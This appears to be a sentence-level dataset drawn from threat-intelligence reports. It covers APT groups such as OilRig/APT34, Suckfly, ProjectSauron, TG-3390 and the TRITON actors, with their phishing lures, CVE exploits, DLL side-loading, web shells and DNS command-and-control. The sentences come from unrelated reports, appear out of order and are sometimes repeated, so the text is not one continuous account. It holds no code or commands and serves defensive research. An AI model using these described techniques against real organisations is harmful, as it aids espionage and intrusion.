The registrant information for kernel.ws also provided a geolocation of Tehran , IR and the email provider for the address used in checkgoogle.org was the same used for mydomain1607.com , chmail.ir .
The mydomain1110.com domain did not appear to reuse any of the previously observed WHOIS data artifacts , but did still give a geolocation of Tehran in addition to the use of an email address linked to other domains thematically similar to the know command and control domains and are potentially related .
While researching the OilRig campaign , we have seen two waves of targeted attacks on Saudi Arabian organizations in which a group of threat actors delivered the Helminth Trojan as a payload .
The two variants of Helminth do require different delivery methods , with the script variant relying on an Excel spreadsheet for delivery , while the executable variant is more traditional in the fact that it can be installed without a delivery document .
Since our first published analysis of the OilRig campaign in May 2016 , we have continued to monitor this group for new activity .
Additionally , the scope of organizations targeted by this group has expanded to not only include organizations within Saudi Arabia , but also a company in Qatar and government organizations in Turkey , Israel and the United States .
The group behind the OilRig campaign continues to leverage spear-phishing emails with malicious Microsoft Excel documents to compromise victims .
In addition to these instances , multiple Qatari organizations were the subject to spear phishing attacks carrying Helminth samples earlier this year .
While the malware deployed is not terribly sophisticated , it uses techniques such as DNS command and control ( C2 ) that allows it to stay under the radar at many establishments .
Less than a week after Microsoft issued a patch for CVE-2017-11882 on Nov. 14 , 2017 , FireEye observed an attacker using an exploit for the Microsoft Office vulnerability to target a government organization in the Middle East .
We assess this activity was carried out by a suspected Iranian cyber espionage threat group , whom we refer to as APT34 , using a custom PowerShell backdoor to achieve its objectives .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications , and has largely focused its operations within the Middle East .
We assess that APT34 works on behalf of the Iranian government based on infrastructure details that contain references to Iran , use of Iranian infrastructure , and targeting that aligns with nation-state interests .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts , sometimes coupled with social engineering tactics .
We believe APT34 is involved in a long-term cyber espionage operation largely focused on reconnaissance efforts to benefit Iranian nation-state interests and has been operational since at least 2014 .
In May 2016 , we published a blog detailing a spear phishing campaign targeting banks in the Middle East region that used macro-enabled attachments to distribute POWBAT malware .
In July 2017 , we observed APT34 targeting a Middle East organization using a PowerShell-based backdoor that we call POWRUNER and a downloader with domain generation algorithm functionality that we call BONDUPDATER , based on strings within the malware .
APT34 loosely aligns with public reporting related to the group " OilRig " .
The backdoor was delivered via a malicious .rtf file that exploited CVE-2017-0199 .
In this latest campaign , APT34 leveraged the recent Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER .
The vulnerability was patched by Microsoft on Nov 14 , 2017 .
The vulnerability exists in the old Equation Editor ( EQNEDT32.EXE ) , a component of Microsoft Office that is used to insert and evaluate mathematical formulas .
During the past few months , APT34 has been able to quickly incorporate exploits for at least two publicly vulnerabilities ( CVE-2017-0199 and CVE-2017-11882 ) to target organizations in the Middle East .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We expect APT34 will continue to evolve their malware and tactics as they continue to pursue access to entities in the Middle East region .
The OilRig group ( AKA APT34 , Helix Kitten ) is an adversary motivated by espionage primarily operating in the Middle East region .
We first discovered this group in mid-2016 , although it is possible their operations extends earlier than that time frame .
Between May and June 2018 , Unit 42 observed multiple attacks by the OilRig group appearing to originate from a government agency in the Middle East .
The use of script-based backdoors is a common technique used by the OilRig group as we have previously documented .
The attacks delivered a PowerShell backdoor called QUADAGENT , a tool attributed to the OilRig group by both ClearSky Cyber Security and FireEye .
A closer examination revealed the obfuscation used by the OilRig group in these QUADAGENT samples were likely the result of using an open-source toolkit called Invoke-Obfuscation .
All three waves involved a single spear phishing email that appeared to originate from a government agency based in the Middle East .
This latest attack consisted of three waves between May and June 2018 .
The OilRig group continues to be a persistent adversary group in the Middle East region .
APT34 are involved in long-term cyber espionage operations largely focused on the Middle East .
This threat group has conducted broad targeting across a variety of industries , including financial , government , energy , chemical , and telecommunications .
Recent investigations by FireEye 's Mandiant incident response consultants combined with FireEye iSIGHT Threat Intelligence analysis have given us a more complete picture of a suspected Iranian threat group , that we believe has been operating since at least 2014 .
Join us in a live webinar as we discuss this threat group whom we assess to be working on behalf of the Iranian Government , with a mission that would benefit nation-state geopolitical and economic needs .
On January 8 , 2018 , Unit 42 observed the OilRig threat group carry out an attack on an insurance agency based in the Middle East .
APT34 uses a mix of public and non-public tools , often conducting spear phishing operations using compromised accounts from trusted third parties , sometimes coupled with social engineering tactics .
Just over a week later , on January 16 , 2018 , we observed an attack on a Middle Eastern financial institution .
The January 8 attack used a variant of the ThreeDollars delivery document , which we identified as part of the OilRig toolset based on attacks that occurred in August 2017 .
However , the attack on January 16 did not involve ThreeDollars at all .
Interestingly , the targeted organization in the January 16 attack had already been targeted by the OilRig group a year ago on January 2017 .
Instead , OilRig 's attack involved delivering the OopsIE Trojan directly to the victim , most likely using a link in a spear phishing email .
In the January 16 , 2018 attack , we observed OilRig attacking an organization it previously targeted in January 2017 .
On January 8 , 2018 , the OilRig threat group sent an email with the subject Beirut Insurance Seminar Invitation to an insurance agency in the Middle East .
The email contained an attachment named Seminar-Invitation.doc , which is a malicious Microsoft Word document we track as ThreeDollars .
This suggests that due to the January 2017 attack , the targeted organization may have taken actions to counter known OilRig TTPs , in this case delivering malicious macro documents , causing the OilRig operators to adopt a different delivery tactic .
We also identified another sample of ThreeDollars , created on January 15 , 2017 with the file name strategy preparation.dot .
The samples of ThreeDollars we collected in these attacks are structurally very similar to the first sample we analyzed in October 2017 , down to the lure image used to trick the recipient into clicking the " Enable Content " button to execute the malicious macro .
Since May 2016 , we have continued to monitor and uncover various attacks and tools associated with the OilRig group .
] com , which we previously identified in October 2017 to be an OilRig C2 .
Based on previously observed tactics , it is highly likely the OilRig group leveraged credential harvesting and compromised accounts to use the government agency as a launching platform for their true attacks .
Inspecting the class C network for 185.162.235.0/24 shows us that another IP on the same network resolves to an OilRig domain , msoffice-cdn.com which we identified in August 2017 .
We had previously observed this author name in use once before , in the very first ThreeDollars document we collected that we had reported on in August 2017 .
The OilRig group continues to remain a highly active adversary in the Middle East region .
Organizations detected a compromise themselves in 62% of the cases that Mandiant worked in 2017 .
The group conducts operations primarily in the Middle East , targeting financial , government , energy , chemical , telecommunications and other industries .
Repeated targeting of Middle Eastern financial , energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34 .
The use of infrastructure tied to Iranian operations , timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government .
APT34 uses a mix of public and non-public tools ( Fig.2 ) and often uses compromised accounts to conduct spear-phishing operations .
In November 2017 , APT34 leveraged the Microsoft Office vulnerability CVE-2017-11882 to deploy POWRUNER and BONDUPDATER less than a week after Microsoft issued a patch .
Unit 42 's ongoing research into the OilRig campaign shows that the threat actors involved in the original attack campaign continue to add new Trojans to their toolset and continue their persistent attacks in the Middle East .
When we first discovered the OilRig attack campaign in May 2016 , we believed at the time it was a unique attack campaign likely operated by a known , existing threat group .
The email address is associated with the Lebanese domain of a major global financial institution .
POWRUNER was delivered using a malicious RTF file that exploited CVE-2017-0199 .
In July 2017 , we observed the OilRig group using a tool they developed called ISMAgent in a new set of targeted attacks .
In August 2017 , we found this threat group has developed yet another Trojan that they call ' Agent Injector ' with the specific purpose of installing the ISMAgent backdoor .
On August 23 , 2017 , we observed OilRig targeting an organization within the United Arab Emirates government .
Based on that research and this observation , we postulate that the OilRig group gathered credentials to a legitimate user 's OWA account and logged into the user 's account to send phishing attacks to other individuals within the same , targeted organization .
The OilRig group continues to target organizations in the Middle East , in this instance targeting the government of the United Arab Emirates .
The payload embedded within the ISMInjector sample delivered in this attack is a variant of the ISMAgent backdoor that we had discussed in detail in our blog discussing a targeted attack on a Saudi Arabian technology company .
Initial inspection of this attack suggested this was again the OilRig campaign using their existing toolset , but further examination revealed not only new variants of the delivery document we named Clayslide , but also a different payload embedded inside it .
In July 2017 , we observed an attack on a Middle Eastern technology organization that was also targeted by the OilRig campaign in August 2016 .
This technique was observed in previous Clayslide documents to access the script variant of the Helminth Trojan in earlier OilRig attacks .
In the past , we had primarily associated the OilRig campaign with using the Clayslide documents to deliver as a payload a Trojan we named Helminth ; in this instance , the payload was instead a variant of the ISMDoor Trojan with significant modifications which we are now tracking as ISMAgent .
The June 2017 sample of Clayslide contained the same OfficeServicesStatus.vbs file found in the ISMAgent Clayslide document , but instead of having the payload embedded in the macro as segregated base64 strings that would be concatenated , this variant obtained its payload from multiple cells within the " Incompatible " worksheet .
Clearly , OilRig incorporates a testing component within their development process , as we have previously observed OilRig performing testing activities on their delivery documents and their TwoFace webshells .
While continuing research on the August 2018 attacks on a Middle eastern government that delivered BONDUPDATER , Unit 42 researchers observed OilRig 's testing activities and with high confidence links this testing to the creation of the weaponized delivery document used in this attack .
While investigating recent attacks performed by the threat actor group OilRig using their new Bondupdater version , Unit 42 researchers searched for additional Microsoft Office documents used by OilRig hoping to locate additional malware being used in other attacks during the same time period .
The tester created the final test file less than 8 hours before the creation time of a delivery document , which was then delivered via a spear-phishing email 20 minutes later .
During this testing , we saw document filenames that contain the C2 we witnessed in the targeted attack above , specifically the filenames XLS-withyourface.xls and XLS-withyourface – test.xls .
These samples appeared to have been created by OilRig during their development and testing activities , all of which share many similarities with the delivery document used in the recent OilRig attack against a Middle Eastern government , N56.15.doc ( 7cbad6b3f505a199d6766a86b41ed23786bbb99dab9cae6c18936afdc2512f00 ) that we have also included in Table 1 .
However , they later continued by making modifications to the Excel document just prior to the attack on August 26th .
HELIX KITTEN is likely an Iranian-based adversary group , active since at least late 2015 , targeting organizations in the aerospace , energy , financial , government , hospitality and telecommunications business verticals .
Additionally , HELIX KITTEN actors have shown an affinity for creating thoroughly researched and structured spear-phishing messages relevant to the interests of targeted personnel .
In addition to Helminth , the ISMDoor implant is likely used by the Iran-based adversary to attack targets particularly those in the Middle East region .
These incidents involved spear-phishing attacks , which characteristic of HELIX KITTEN , included emails containing malicious PowerShell in their macros that connects to known C2 infrastructure .
During the summer of 2018 , HELIX KITTEN actors were observed targeting entities in the Middle East — of note , targets appeared to be located in Bahrain and Kuwait .
ISMDoor is able to exfiltrate data , take screenshots , and execute arbitrary commands on the victim 's machine .
In early November 2018 , CrowdStrike observed activity from the HELIX KITTEN adversary at a customer in the telecommunications vertical .
The attackers sent multiple emails containing macro-enabled XLS files to employees working in the banking sector in the Middle East .
In the first week of May 2016 , FireEye 's DTI identified a wave of emails containing malicious attachments being sent to multiple banks in the Middle East region .
Our data suggests that actors have deployed the RGDoor backdoor on webservers belonging to eight Middle Eastern government organizations , as well as one financial and one educational institution .
In August 2018 , Unit 42 observed OilRig targeting a government organization using spear-phishing emails to deliver an updated version of a Trojan known as BONDUPDATER .
The OilRig group has been active since at least mid-2016 , and continues their attack campaigns throughout the Middle East , targeting both governmental agencies and businesses on an almost routine basis .
BONDUPDATER is a PowerShell-based Trojan first discovered by FireEye in mid-November 2017 , when OilRig targeted a different Middle Eastern governmental organization .
During the past month , Unit 42 observed several attacks against a Middle Eastern government leveraging an updated version of the BONDUPDATER malware , which now includes the ability to use TXT records within its DNS tunneling protocol for its C2 communications .
The email had no subject and what initially drew our attention to OilRig 's attack was the content of the spear phishing email .
As expected , OilRig is continuing their onslaught of attacks well into 2018 with continued targeting in the Middle East .
First identified in January 2015 , Orangeworm has also conducted targeted attacks against organizations in related industries as part of a larger supply-chain attack in order to reach their intended victims .
According to Symantec telemetry , almost 40 percent of Orangeworm 's confirmed victim organizations operate within the healthcare industry .
Their next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
Sowbug 's next move was to list any remote shared drives and then attempt to access remote shares owned by the specific government office they were targeting , again attempting to extract all Word documents .
For example , in September 2016 , Sowbug infiltrated an organization in Asia , deploying the Felismus backdoor on one of its computers , Computer A , using the file name adobecms.exe in CSIDL_WINDOWS\debug .
In this case , the attackers maintained a presence on the target 's network for nearly six months between September 2016 and March 2017 .
In other attacks , there was evidence that Felismus was installed using a tool known as Starloader ( detected by Symantec as Trojan.Starloader ) .
Symantec has found evidence of Starloader files being named AdobeUpdate.exe , AcrobatUpdate.exe , and INTELUPDATE.EXE among others .
Additionally , Starloader was also observed deploying additional tools used by the attackers , such as credential dumpers and keyloggers .
ASERT has learned of an APT campaign , possibly originating from DPRK , we are calling STOLEN PENCIL that is targeting academic institutions since at least May 2018 .
Once gaining a foothold on a user 's system , the threat actors behind STOLEN PENCIL use Microsoft 's Remote Desktop Protocol ( RDP ) for remote point-and-click access .
The group uses an advanced piece of malware known as Remsec ( Backdoor.Remsec ) to conduct its attacks .
Strider has been active since at least October 2011 .
Lua modules is a technique that has previously been used by Flamer .
The Remsec malware used by Strider has a modular design .
The group has maintained a low profile until now and its targets have been mainly organizations and individuals that would be of interest to a nation state 's intelligence services .
The group 's targets include a number of organizations and individuals located in Russia .
Remsec uses a Lua interpreter to run Lua modules which perform various functions .
The attackers then began to perform reconnaissance activities on Computer A via cmd.exe , collecting system-related information , such as the OS version , hardware configuration , and network information .
the group 's targets include an organization in Sweden .
the group 's targets include an embassy in Belgium .
Symantec will continue to search for more Remsec modules and targets in order to build upon our understanding of Strider and better protect our customers .
Another such an exceptional espionage platform is " ProjectSauron , also known as " Strider " .
In September 2015 , our anti-targeted attack technologies caught a previously unknown attack .
Forensic analysis indicates that the APT has been operational since at least June 2011 and was still active in 2016 .
After getting the IP , the ProjectSauron component tries to communicate with the remote server using its own ( ProjectSauron ) protocol as if it was yet another C&C server .
In a number of the cases we analyzed , ProjectSauron deployed malicious modules inside the custom network encryption 's software directory , disguised under similar filenames and accessing the data placed beside its own executable .
The threat actor behind ProjectSauron commands a top-of-the-top modular cyber-espionage platform in terms of technical sophistication , designed to enable long-term campaigns through stealthy survival mechanisms coupled with multiple exfiltration methods .
In September 2015 , Kaspersky Lab 's Anti-Targeted Attack Platform discovered anomalous network traffic in a government organization network .
In late 2015 , Symantec identified suspicious activity involving a hacking tool used in a malicious manner against one of our customers .
Secondary ProjectSauron modules are designed to perform specific functions like stealing documents , recording keystrokes , and hijacking encryption keys from both infected computers and attached USB sticks .
activity originated from three separate IP addresses , all located in Chengdu , China .
We don't know the exact date Suckfly stole the certificates from the South Korean organizations .
stolen certificates being used maliciously occurred in early 2014 .
Symantec detects this threat as Backdoor.Nidiran .
Specifically , Suckfly used a specially crafted web page to deliver an exploit for the Microsoft Windows OLE Remote Code Execution Vulnerability ( CVE-2014-6332 ) , which affects specific versions of Microsoft Windows .
The threat then executes " svchost.exe " .
Attackers have been known to distribute malicious files masquerading as the legitimate iviewers.dll file and then use DLL load hijacking to execute the malicious code and infect the computer .
Once exploit has been achieved , Nidiran is delivered through a self-extracting executable that extracts the components to a .tmp folder after it has been executed .
The certificates Blackfly stole were also from South Korean companies , primarily in the video game and software development industry .
Blackfly began with a campaign to steal certificates , which were later used to sign malware used in targeted attacks .
In March 2016 , Symantec published a blog on Suckfly , an advanced cyberespionage group that conducted attacks against a number of South Korean organizations to steal digital certificates .
Since then we have identified a number of attacks over a two-year period , beginning in April 2014 , which we attribute to Suckfly .
The attacks targeted high-profile targets , including government and commercial organizations .
these attacks were part of a planned operation against specific targets in India .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
While there have been several Suckfly campaigns that infected organizations with the group 's custom malware Backdoor.Nidiran , the Indian targets show a greater amount of post-infection activity than targets in other regions .
The first known Suckfly campaign began in April of 2014 .
Suckfly 's attacks on government organizations that provide information technology services to other government branches is not limited to India .
It has conducted attacks on similar organizations in Saudi Arabia , likely because of the access that those organizations have .
Similar to its other attacks , Suckfly used the Nidiran back door along with a number of hacktools to infect the victim 's internal hosts .
In 2015 , Suckfly conducted a multistage attack .
Suckfly conducted a multistage attack between April 22 and May 4 .
On April 22 , 2015 , Suckfly exploited a vulnerability on the targeted employee 's operating system ( Windows ) that allowed the attackers to bypass the User Account Control and install the Nidiran back door to provide access for their attack .
Suckfly conducted a multistage attack against an e-commerce organization .
Suckfly conducted a multistage attack against an e-commerce organization based in India .
Most of the group 's attacks are focused on government or technology related companies and organizations .
While we know the attackers used a custom dropper to install the back door , we do not know the delivery vector .
While tracking what days of the week Suckfly used its hacktools , we discovered that the group was only active Monday through Friday .
By targeting all of these organizations together , Suckfly could have had a much larger impact on India and its economy .
While we don't know the motivations behind the attacks , the targeted commercial organizations , along with the targeted government organizations , may point in this direction .
There is no evidence that Suckfly gained any benefits from attacking the government organizations , but someone else may have benefited from these attacks .
During this time they were able to steal digital certificates from South Korean companies and launch attacks against Indian and Saudi Arabian government organizations .
We believe that Suckfly will continue to target organizations in India and similar organizations in other countries in order to provide economic insight to the organization behind Suckfly 's operations .
This time , however , TA459 opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
Proofpoint is tracking this attacker , believed to operate out of China , as TA459 .
This time , however , attackers opportunistically used spear-phishing emails with a Microsoft Word attachment exploiting the recently patched CVE-2017-0199 to deploy the ZeroT Trojan , which in turn downloaded the PlugX Remote Access Trojan ( RAT ) .
TA549 possesses a diverse malware arsenal including PlugX , NetTraveler , and ZeroT .
TA459 is well-known for targeting organizations in Russia and neighboring countries .
Ongoing activity from attack groups like TA459 who consistently target individuals specializing in particular areas of research and expertise further complicate an already difficult security situation for organizations dealing with more traditional malware threats , phishing campaigns , and socially engineered threats every day .
Using data collected from the Trend Micro™ Smart Protection Network , we are able to identify victims whose networks communicated with Taidoor C&C servers .
The Taidoor attackers have been actively engaging in targeted attacks since at least March 4 , 2009 .
Taidoor spoofed Taiwanese government email addresses to send out socially engineered emails in the Chinese language that typically leveraged Taiwan-themed issues .
Despite some exceptions , the Taidoor campaign often used Taiwanese IP addresses as C&C servers and email addresses to send out socially engineered emails with malware as attachments .
One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government .
Suckfly targeted one of India 's largest e-commerce companies , a major Indian shipping company , one of India 's largest financial organizations , and an IT firm that provides support for India 's largest stock exchange .
Data from the early part of this year shows that the Taidoor attackers rampantly used malicious.DOC files to exploit a Microsoft Common Controls vulnerability , CVE-2012-0158 .
Taidoor actively sent out malicious documents and maintained several IP addresses for command and control .
The attackers actively sent out malicious documents and maintained several IP addresses for command and control .
As part of their social engineering ploy , the Taidoor attackers attach a decoy document to their emails that , when opened , displays the contents of a legitimate document but executes a malicious payload in the background .
Sometimes , however , certain samples made use of domain names for HTTP communication .
Based on the command capabilities of the Taidoor malware , we were able to determine that data theft and data destruction was possible .
The ultimate objective of targeted attacks is to acquire sensitive data .
In December 2017 , FireEye publicly released our first analysis on the TRITON attack where malicious actors used the TRITON custom attack framework to manipulate industrial safety systems at a critical infrastructure facility and inadvertently caused a process shutdown .
In our most recent analysis , we attributed the intrusion activity that led to the deployment of TRITON to a Russian government-owned technical research institute in Moscow .
For more in-depth analysis of TRITON and other cyber threats , consider subscribing to FireEye Cyber Threat Intelligence .
During this time , the attacker must ensure continued access to the target environment or risk losing years of effort and potentially expensive custom ICS malware .
In this report we continue our research of the actor 's operations with a specific focus on a selection of custom information technology ( IT ) tools and tactics the threat actor leveraged during the early stages of the targeted attack lifecycle .
Additionally , the actor possibly gained a foothold on other target networks—beyond the two intrusions discussed in this post – using similar strategies .
There is often a singular focus from the security community on ICS malware largely due to its novel nature and the fact that there are very few examples found in the wild .
ЦНИИХМ ) , a Russian government-owned technical research institution located in Moscow .
In this blog post we provide additional information linking TEMP.Veles and their activity surrounding the TRITON intrusion to a Russian government-owned research institute .
Analysis of these cryptcat binaries indicates that the actor continually modified them to decrease AV detection rates .
TEMP.Veles' lateral movement activities used a publicly-available PowerShell-based tool , WMImplant .
On multiple dates in 2017 , TEMP.Veles struggled to execute this utility on multiple victim systems , potentially due to AV detection .
Custom payloads utilized by TEMP.Veles in investigations conducted by Mandiant are typically weaponized versions of legitimate open-source software , retrofitted with code used for command and control .
We identified file creation times for numerous files that TEMP.Veles created during lateral movement on a target 's network .
Adversary behavioral artifacts further suggest the TEMP.Veles operators are based in Moscow , lending some further support to the scenario that CNIIHM , a Russian research organization in Moscow , has been involved in TEMP.Veles activity .
XENOTIME is easily the most dangerous threat activity publicly known .
CNIIHM 's characteristics are consistent with what we might expect of an organization responsible for TEMP.Veles activity .
Dragos identified several compromises of ICS vendors and manufacturers in 2018 by activity associated with XENOTIME , providing potential supply chain threat opportunities and vendor-enabled access to asset owner and operator ICS networks .
XENOTIME rose to prominence in December 2017 when Dragos and FireEye jointly published details of TRISIS destructive malware targeting Schneider Electric 's Triconex safety instrumented system .
Targeting a safety system indicates significant damage and loss of human life were either intentional or acceptable goals of the attack , a consequence not seen in previous disruptive attacks such as the 2016 CRASHOVERRIDE malware that caused a power loss in Ukraine .
XENOTIME used credential capture and replay to move between networks , Windows commands , standard command-line tools such as PSExec , and proprietary tools for operations on victim hosts .
XENOTIME configured TRISIS based on the specifics and functions of the Triconex system within the industrial control ( ICS ) environment .
Dragos' data indicates XENOTIME remains active .
TEMP.Veles created a custom malware framework and tailormade credential gathering tools , but an apparent misconfiguration prevented the attack from executing properly .
Furthermore , Dragos' analysis of the TRISIS event continues as we recover additional data surrounding the incident .
XENOTIME operates globally , impacting regions far outside of the Middle East , their initial target .
Intelligence suggests the group has been active since at least 2014 and is presently operating in multiple facilities targeting safety systems beyond Triconex .
Dragos instead focuses on threat behaviors and appropriate detection and response .
Dragos assesses with moderate confidence that XENOTIME intends to establish required access and capability to cause a potential , future disruptive—or even destructive—event .
However , full details on XENOTIME and other group tools , techniques , procedures , and infrastructure is available to network defenders via Dragos WorldView .
This seems confusing as FireEye earlier publicly declared the TRITON as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
This seems confusing as FireEye earlier publicly declared the " TRITON actor " as a discrete entity , linked to a Russian research institution , and christened it as " TEMP.Veles " .
Meanwhile , parallel work at Dragos ( my employer , where I have performed significant work on the activity described above ) uncovered similar conclusions concerning TTPs and behaviors , for both the 2017 event and subsequent activity in other industrial sectors .
FireEye recently published a blog covering the tactics , techniques , and procedures ( TTPs ) for the " TRITON actor " when preparing to deploy the TRITON/TRISIS malware framework in 2017 .
Based on information gained from discussion with the initial TRITON/TRISIS responders and subsequent work on follow-on activity by this entity , Dragos developed a comprehensive ( public ) picture of adversary activity roughly matching FireEye 's analysis published in April 2019 , described in various media .
Since late 2018 , based upon the most-recent posting , FireEye appears to have " walked back " the previously-used terminology of TEMP.Veles and instead refers rather cryptically to the " TRITON actor " , while Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Dragos leveraged identified behaviors to consistently refer to an activity group , XENOTIME .
Aside from the competitive vendor naming landscape ( which I am not a fan of in cases on direct overlap , but which has more to say for itself when different methodologies are employed around similar observations ) , the distinction between FireEye and Dragos' approaches with respect to the " TRITON actor " comes down to fundamental philosophical differences in methodology .
In the 2018 public posting announcing TEMP.Veles , FireEye researchers noted that the institute in question at least supported TEMP.Veles activity in deploying TRITON .
My understanding is FireEye labels entities where definitive attribution is not yet possible with the " TEMP " moniker ( hence , TEMP.Veles ) – yet in this case FireEye developed and deployed the label , then appeared to move away from it in subsequent reporting .
In comparison , XENOTIME was defined based on principles of infrastructure ( compromised third-party infrastructure and various networks associated with several Russian research institutions ) , capabilities ( publicly- and commercially-available tools with varying levels of customization ) and targeting ( an issue not meant for discussion in this blog ) .
Of note , this methodology of naming abstracts away the " who " element – XENOTIME may represent a single discrete entity ( such as a Russian research institution ) or several entities working in coordination in a roughly repeatable , similar manner across multiple events .
Much like the observers watching the shadows of objects cast upon the wall of the cave , these two definitions ( XENOTIME and TEMP.Veles , both presumably referring to " the TRITON actor " ) describe the same phenomena , yet at the same time appear different .
To better understand how the adversary was operating and what other actions they had performed , CTU researchers examined cmd.exe and its supporting processes to uncover additional command line artifacts .
CTU researchers assess with high confidence that threat groups like Threat Group-1314 will continue to live off of the land to avoid detection and conduct their operations .
Analysis of TG-3390 's operations , targeting , and tools led CTU researchers to assess with moderate confidence the group is located in the People's Republic of China .
The threat actors target a wide range of organizations : CTU researchers have observed TG-3390 actors obtaining confidential data on defense manufacturing projects , but also targeting other industry verticals and attacking organizations involved in international relations .
In comparison to other threat groups , TG-3390 is notable for its tendency to compromise Microsoft Exchange servers using a custom backdoor and credential logger .
CTU researchers have evidence that the TG-3390 compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Based on analysis of the group 's SWCs , TG-3390 operations likely affect organizations in other countries and verticals .
TG-3390 operates a broad and long-running campaign of SWCs and has compromised approximately 100 websites as of this publication .
CTU researchers have evidence that the threat group compromised U.S and UK organizations in the following verticals : manufacturing ( specifically aerospace ( including defense contractors ) , automotive , technology , energy , and pharmaceuticals ) , education , and legal , as well as organizations focused on international relations .
Like many threat groups , TG-3390 conducts strategic web compromises ( SWCs ) , also known as watering hole attacks , on websites associated with the target organization 's vertical or demographic to increase the likelihood of finding victims with relevant information .
Through an IP address whitelisting process , the threat group selectively targets visitors to these websites .
After the initial compromise , TG-3390 delivers the HTTPBrowser backdoor to its victims .
CTU researchers assess with high confidence that TG-3390 uses information gathered from prior reconnaissance activities to selectively compromise users who visit websites under its control .
TG-3390 uses the PlugX remote access tool .
The SWC of a Uyghur cultural website suggests intent to target the Uyghur ethnic group , a Muslim minority group primarily found in the Xinjiang region of China .
The threat actors have used the Baidu search engine , which is only available in Chinese , to conduct reconnaissance activities .
Recently , CTU researchers responded to an intrusion perpetrated by Threat Group-1314 , one of numerous threat groups that employ the " living off the land " technique to conduct their intrusions .
CTU researchers have observed the Threat Group-3390 obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
CTU researchers have observed the threat group obtaining information about specific U.S. defense projects that would be desirable to those operating within a country with a manufacturing base , an interest in U.S. military capability , or both .
TG-3390 can quickly leverage compromised network infrastructure during an operation and can conduct simultaneous intrusions into multiple environments .
Malware used by the threat group can be configured to bypass network-based detection ; however , the threat actors rarely modify host-based configuration settings when deploying payloads .
TG-3390 uses older exploits to compromise targets , and CTU researchers have not observed the threat actors using zero-day exploits as of this publication .
In addition to using SWCs to target specific types of organizations , TG-3390 uses spearphishing emails to target specific victims .
After gaining access to a target network in one intrusion analyzed by CTU researchers , TG-3390 actors identified and exfiltrated data for specific projects run by the target organization , indicating that they successfully obtained the information they sought .
Based on this information , CTU researchers assess that TG-3390 aims to collect defense technology and capability intelligence , other industrial intelligence , and political intelligence from governments and NGOs .
Incident response engagements have given CTU researchers insight into the tactics TG-3390 employs during intrusions .
CTU researchers have not observed TG-3390 actors performing reconnaissance prior to compromising organizations .
CTU researchers have observed the threat actors installing a credential logger and backdoor on Microsoft Exchange servers , which requires a technical grasp of Internet Information Services ( IIS ) .
TG-3390 is capable of using a C2 infrastructure that spans multiple networks and registrars .
TG-3390 SWCs may be largely geographically independent , but the group 's most frequently used C2 registrars and IP net blocks are located in the U.S .
Using a U.S.-based C2 infrastructure ( see Figure 7 ) to compromise targets in the U.S. helps TG-3390 actors avoid geo-blocking and geo-flagging measures used in network defense .
The threat actors create PlugX DLL stub loaders that will run only after a specific date .
The compile dates of the samples analyzed by CTU researchers are all later than the hard-coded August 8 , 2013 date , indicating that the code might be reused from previous tools .
One archive sample analyzed by CTU researchers contained a legitimate PDF file , a benign image of interest to targets ( see Figure 8 ) , and an HTTPBrowser installer disguised as an image file .
CTU researchers have observed TG-3390 activity between 04:00 and 09:00 UTC , which is 12:00 to 17:00 local time in China ( UTC +8 ) .
TG-3390 sends spearphishing emails with ZIP archive attachments .
CTU researchers have observed TG-3390 compromising a target organization 's externally and internally accessible assets , such as an OWA server , and adding redirect code to point internal users to an external website that hosts an exploit and delivers malware .
TG-3390 actors have used Java exploits in their SWCs .
In particular , TG-3390 has exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
In activity analyzed by CTU researchers , TG-3390 executed the Hunter web application scanning tool against a target server running IIS .
In particular , the threat actors have exploited CVE-2011-3544 , a vulnerability in the Java Runtime Environment , to deliver the HTTPBrowser backdoor ; and CVE-2010-0738 , a vulnerability in JBoss , to compromise internally and externally accessible assets used to redirect users' web browsers to exploit code .
TG-3390 uses DLL side loading , a technique that involves running a legitimate , typically digitally signed , program that loads a malicious DLL .
CTU researchers have observed the Threat Group-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
The adversaries have used this technique to allow PlugX and HTTPBrowser to persist on a system .
CTU researchers have observed the TG-3390 employing legitimate Kaspersky antivirus variants in analyzed samples .
TG-3390 actors have deployed the OwaAuth web shell to Exchange servers , disguising it as an ISAPI filter .
In other cases , threat actors placed web shells on externally accessible servers , sometimes behind a reverse proxy , to execute commands on the compromised system .
CTU researchers have discovered numerous details about TG-3390 operations , including how the adversaries explore a network , move laterally , and exfiltrate data .
When the adversaries' operations are live , they modify the record again to point the C2 domain to an IP address they can access .
They then identify the Exchange server and attempt to install the OwaAuth web shell .
If the OwaAuth web shell is ineffective because the victim uses two-factor authentication for webmail , TG-3390 identify other externally accessible servers and deploy ChinaChopper web shells .
After compromising an initial victim 's system ( patient 0 ) , the threat actors use the Baidu search engine to search for the victim 's organization name .
CTU researchers discovered the threat actors searching for " [company] login " , which directed them to the landing page for remote access .
TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations , preferring to issue commands via an internally accessible web shell rather than HTTPBrowser or PlugX .
Within six hours of entering the environment , the threat actors compromised multiple systems and stole credentials for the entire domain .
Despite multiple public disclosures of their activities , BRONZE UNION remains an active and formidable threat as of this publication .
